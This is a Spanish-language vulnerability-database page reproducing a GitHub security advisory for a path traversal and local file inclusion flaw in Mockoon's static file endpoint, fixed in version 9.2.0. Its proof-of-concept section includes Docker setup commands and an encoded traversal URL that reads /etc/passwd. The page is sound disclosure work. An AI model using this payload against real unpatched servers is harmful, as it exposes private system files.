Alta

Mockoon has a Path Traversal and LFI in the static file serving endpoint

  • Publicada: 11.03.2025
  • Actualizado: 11.10.2026 10:22

Summary

A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem. The issue may be particularly relevant in cloud hosted server instances

Details

In sendFileWithCallback(code) and sendFile(code) the filePath variable is parsed using TemplateParser

js
let filePath = TemplateParser({
        shouldOmitDataHelper: false,
        // replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam 'path.prop\.with\.dots'}})
        content: routeResponse.filePath.replace(/\\(?!\.)/g, '/'),
        environment: this.environment,
        processedDatabuckets: this.processedDatabuckets,
        globalVariables: this.globalVariables,
        request: serverRequest,
        envVarsPrefix: this.options.envVarsPrefix
      });

The path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. ../../../../../etc/passwd)

PoC

Test setup

The issue has been tested with mockoon-cli, using the Docker image mockoon/cli:latest

config.json

bash
# Folder setup
mkdir mockoon-test
cd mockoon-test

# put config.json in mockooon-test dir

mkdir static
bash
# Run container
docker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000

Payload to reproduce

Browsing directly to http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd is going to display the /etc/passwd file in the container filesystem

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @mockoon/cli < 9.2.0 9.2.0
Paquete de npm @mockoon/commons-server < 9.2.0 9.2.0

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-22, CWE-73
Plataforma
npm
Paquete
@mockoon/cli, @mockoon/commons-server
Publicada
11.03.2025
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-w7f9-wqc4-3wxr - CC BY 4.0

Historial de vulnerabilidades: @mockoon/commons-server

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
3
Primera → última
03.2025 09.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 2
  • Media 1

Divulgaciones por año

  1. 2025: 1
  2. 2026: 2
  1. Mockoon has a Path Traversal and LFI in the static file serving endpoint esta entrada
    Alta · 7.5 CVE-2025-59049 < 9.2.0 9.2.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.